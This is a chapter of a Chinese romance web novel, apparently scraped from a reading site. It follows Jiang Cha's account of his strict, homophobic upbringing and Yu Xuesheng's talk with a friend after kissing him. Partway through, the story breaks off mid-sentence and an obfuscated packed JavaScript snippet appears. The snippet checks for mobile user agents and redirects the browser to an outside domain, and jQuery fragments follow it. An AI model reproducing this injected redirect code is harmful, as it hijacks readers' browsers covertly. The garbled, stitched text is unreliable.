41.第 41 章
作品:《对对对氪佬说的都对》 ——姜察,你最近做了什么错事?
这曾经是纠缠着他的、噩梦般的一句话。
“我爸妈都是老师,”姜察捏了捏手里的冰杯,“他们的教育方式比较特殊,我从几岁的时候就知道什么是‘犯错’了。”
“举个例子,”他清了清嗓子,“我从来不会像其他小孩那样非要在商场里买什么东西、也从来不会在外面发脾气,因为如果出门的时候做了错事,那不管今天的计划是什么,都会立刻被带回家。”
“什么意思?”秋总皱了皱眉,“这是惩罚?”
“对,”姜察点头,“就算今天要去游乐园,或者要出去买玩具,只要我路上犯了错,那全部的计划都会取消。”
“所以我很小的时候就知道做错的代价和滋味,也体验了什么叫''后悔''。”他说。
秋总有点发愣:“对小孩子来说,这不太合适吧?”
“但确实挺好用的,这个惩罚机制不只用在出外游玩上,别的环境也通用。所以我上中学之后就没怎么犯过错了,成绩也很好。”姜察笑了笑,说。
秋总看着他,没说什么。
“终止一切计划”的惩罚机制,其实更像暴力摧毁犯错者挽回错误的机会。她大概能想象到,这样长大的孩子,会怎样一遍一遍咀嚼自己做过的“错事”,怎样在回忆里一遍一遍回放所受的惩罚。
看似高效的教育方式……大概只会让孩子对错误更加敏感焦虑,以及更容易深陷“懊悔”的情绪中。
“我想离开的原因还不是这个,”姜察沉默了一会儿,又开口,“我高中的时候犯了一个非常严重的错误……班上有个同学喜欢我。”
秋总怔了下,随即下意识看了看四周。
“你说的是……”她犹豫了一下。
“男的。”姜察喝了口化掉的冰水,说。
这件事说起来相当简单,也是相当常见的桥段。
懵懂的青春期,被困在囚笼般的高中生活里的少年,在某一天放学时突然被塞了一封来自同性的“情书”。
姜察没有什么隐私,他的房间门上都没装锁,准确的说,那把锁早就在他小学时就因为贪玩打游戏被闯进房间里的父母砸坏了。
他对那个男生没什么意思,也没打算看那封情书,只是出于某种始发的悸动,小心翼翼地把它收了起来。
直到那时候,他才知道,自己并不讨厌这种情感,甚至会有某种……触动或认同。
那也是他第一次藏东西,思来想去,最后把信封压在了桌子底下、写满算式的用过的草稿纸的最下面……结果两天后的放学,回家时,他发现老妈收拾了所有的、他用过的草稿纸。
他清楚地记得,老妈把他叫过去的时候,正在厨房里削一颗土豆。
——姜察,你最近做了什么错事?
老妈低着头,问他。
随后的事情他不太想再记起。
“……她没把这件事告诉别人,”姜察捏了捏空了的塑料杯,“但那之后……我大概两年没跟同学朋友出过门。”
“姜察……”秋总皱了皱眉,有点听不下去了。
“我跟女生出去,她会问我警告我,我跟男生出去,她也会用一种……很难描述的眼神看着我。”他的声音停了停,又看向秋总,“秋总,你知道黄梅戏里,有一出叫《女驸马》吗?”
秋总怔了下:“听说过。”
《女驸马》讲的是才女冯素珍为救爱人女扮男装,考中状元后却被公主看中,被迫成亲的故事,是相当有名的一段。
“那件事过去很久之后,大概是一个暑假,我陪奶奶看电视,正好播到了那出戏,”姜察说,“我妈从身后路过,看到两个女人拜堂,问我——‘你是出于什么目的看这个的’。”
“……你别说了。”秋总的呼吸都紧了些。
“你觉得我恐同吗?”姜察又看向她,问。
她张了张嘴,但不知道该说什么。
这种环境下,不恐也难了吧。
可如果自己本身也……
这会产生一种什么样的、扭曲又拧巴的化学反应?
“这是我犯过最大的一个错,所以我很害怕回家,直到现在都是。”姜察没再等她的回答,“所以我想有自己的生活,稳定的、能少犯错的、不用再被问这个问题的生活。”
姜察挺难受地笑了下。
“我挺想维持这种表面的正常的,所以我也……很害怕喻雪生。”
……什么?
秋总愣了下,转头看向他,话题怎么就扯到喻雪生身上了?
“那天我没说,”姜察又捏了捏杯子,“他跟我告白了,但我拒绝了。”
“我挺卑鄙的,因为我现在……活得太踏实了,没法回答他。”
“这种自由和踏实,是我用很多代价换来的。”
……
今年的三伏天只持续一个月,说起来,这竟是近十年里最短的三伏。
不过即使是这样,这段时间的温度依然高得可怕,就算不在高楼林立的城区,山里的高温也能把脆弱的小草小苗小花烤个半熟。
“你真打算这几天搬家?”该隐打开冰柜,拿了根冰棍递给喻雪生,这次好心地没让他扫码。
“嗯,”喻雪生点点头,“这周把学校附近的房子跑下来,也差不多该搬了。”
“我看再过段时间要下雨啊,”该隐看了看挂在民宿前台的电子表,古早的设计还带了天气预报功能,“你等凉快点不行吗?”
“你家那个天气预报我就没见动过,坏了快一年了吧。”喻雪生斜了他一眼。
该隐还想辩解两句,又歪着头仔细看了看,才发现表上写的今日温度还是二十三度。
不过喻雪生确实挺奇怪的,这两天山上顾客很少,但他还是自告奋勇跑了过来,要么闷在小屋里做大漆,要么帮忙看前台联系客人或者干坐着……反正就是不回公寓。
叫他去跑跑店里的事也答应得相当干脆利落,甚至效率高到已经帮忙联系了好几批画材了。
“你是不是犯事儿了?”该隐想了半天,决心还是问一句。
“啊。”喻雪生点点头,承认得很快。
“你跟姜察……”该隐皱了皱眉,“你跑这边来只能是因为他了,你把他怎么着了?”
喻雪生没说话。
“吵架了吧?”该隐啧了声,坐在他旁边的板凳上,“我就知道,他看着挺能忍,但毕竟还是正经人,他能忍你这么久还……”
“我亲了他一下。”喻雪生清了清嗓子,说。
“还把你当朋友……你说什么?”该隐愣了下,“你干嘛了?”
“我说,我亲了他一下,”喻雪生啧了声,“你耳朵聋了?”
该隐瞪着他,一时间动作都停住了,过了两秒,从椅子上蹦了起来。
“我靠!”他话都有点说不利索了,“他……他没揍你?你怎么完整回来的?”
他倒是早知道喻雪生取向的事,也知道他对姜察有那么点意思,但完全没想到事态的发展犹如脱缰野马……
……胆儿够肥啊小雪花!
“社畜得保持风度,怎么可能揍人,”喻雪生笑了笑,靠在椅子里,“但骂得倒是挺狠的。”
“你还能笑得出来,”该隐竖了个拇指,“对直男下嘴,要是我的话不只骂得狠,还能骂得很脏,我靠他要是初吻就更亏大了……”
初吻吗?
喻雪生轻轻啧了一声。
说不定还真是呢。
“别担心,”喻雪生定了定神,笑着看该隐,“人家比你有素质,而且要是你我也下不去这个
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16210269|181046||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
嘴了,满嘴满舌头这个钉子那个钻的……”
“喻雪生!”该隐又差点蹦了起来。
看着一会儿炸一下的人,喻雪生有点想乐,但乐了两声又接着郁闷了。
自从上次被姜察“约谈”后已经过了好几天,说实话,他确实非常愧疚,也后悔那天的举动。
他甚至不知道该怎么回去见姜察。
那就像姜察说的那样,在想明白之前……先不要见他了吧。
不过其实时间也没多少了,开学的日子越来越近,接下来也只会越来越忙,找房子,帮该隐开店,还有做视频的工作,重新开始学业……
出来住并不只是躲避姜察的借口,如果真的想过姜察所说的“稳定的生活”,这其中的每一件都是逃不开的一环。
但仔细想想,无论做什么事,缺少某个人,似乎又都变得乏味了。
……他真的挺喜欢他的。
不管是初见时挑着眉一脸嚣张不爽的姜察,还是刚认识时候那个支支吾吾话都说不清楚的姜察,还是再后来一点点熟悉了、可以跟他深夜对谈爬山拍照的姜察……
各种或微笑或尴尬或沉默或愤怒甚至是压迫感极强的姜察,都是那么的……有趣。
在他曾经没什么盼头、变着法作死的生活里,“有趣”大概是分量最重的褒义词。
但认真对待一个人……他还从来没学过,总之现在知道了,肯定不能用这种对待“有趣”的态度。
要认真一点。
“你接下来打算怎么办?”该隐看他沉默了半天,问。
“还没想好。”喻雪生躺在椅子里,声音有点发闷。
“你不像知难而退的人,”该隐靠在柜台旁,摸了摸口袋里的烟盒,“就算是直男……”
“知直男而上?”喻雪生笑了笑。
“知直男之难而……什么乱七八糟的。”该隐拿烟的手停了停,差点又被带偏。
喻雪生乐了一会儿又叹了口气,坐直起身,朝他伸了伸手。该隐啧了一声,一支烟和火机抛过来。
“不是抽不惯吗,”他啧了一声,“……怎么不抽你那个女式烟去了?”
喻雪生没说话,“啪”地按下打火机,该隐的打火机是防风的,火苗“呼”地冒了出来……很呛的烟草味儿很快弥漫在空气中,跟他自己的烟不一样,呛得让人有些想咳嗽。
也就是这会儿民宿里没住客人,要不必然挨该隐他老妈的揍……
“你真的觉得他是直男?”过了会儿,喻雪生看着天花板说。
“什么意思?”该隐怔了怔,问。
烟雾飘散在空中,还一直向上升着,喻雪生沉默了一会儿,说:“我觉得他不太对。”
“姜……察?”该隐有点疑惑地看着他。
“嗯,”喻雪生点头,“其实挺简单,因为直□□本不是那个反应……尤其我第一次说那句话的时候。”
——该隐看着不像好人,比较像我的狐朋狗友,但你就不一样了。
——你看起来更像我的男朋友。
“……他一点也不惊讶。”喻雪生弹了弹烟灰,说。
虽然被拒绝了,但他总觉得那天姜察生气时说的那些话有哪里不对。包括之前若干次嘴欠,比起恐惧或惊讶或当做玩笑,姜察更像是在故意装作“没反应”,又或者“不懂”。
……以及前些天,他提出的那个问题。
——你到底是向往我,还是向往我的生活。
……如果他都想要呢?
过了一会儿,喻雪生抬起头。
“该隐,”他说,“我肯定是不会放弃的。”
“哦。”该隐愣了愣。
真是持之以恒啊小雪花。
“不是……这跟我有什么关系吗。”过了半天,他才反应过来,说。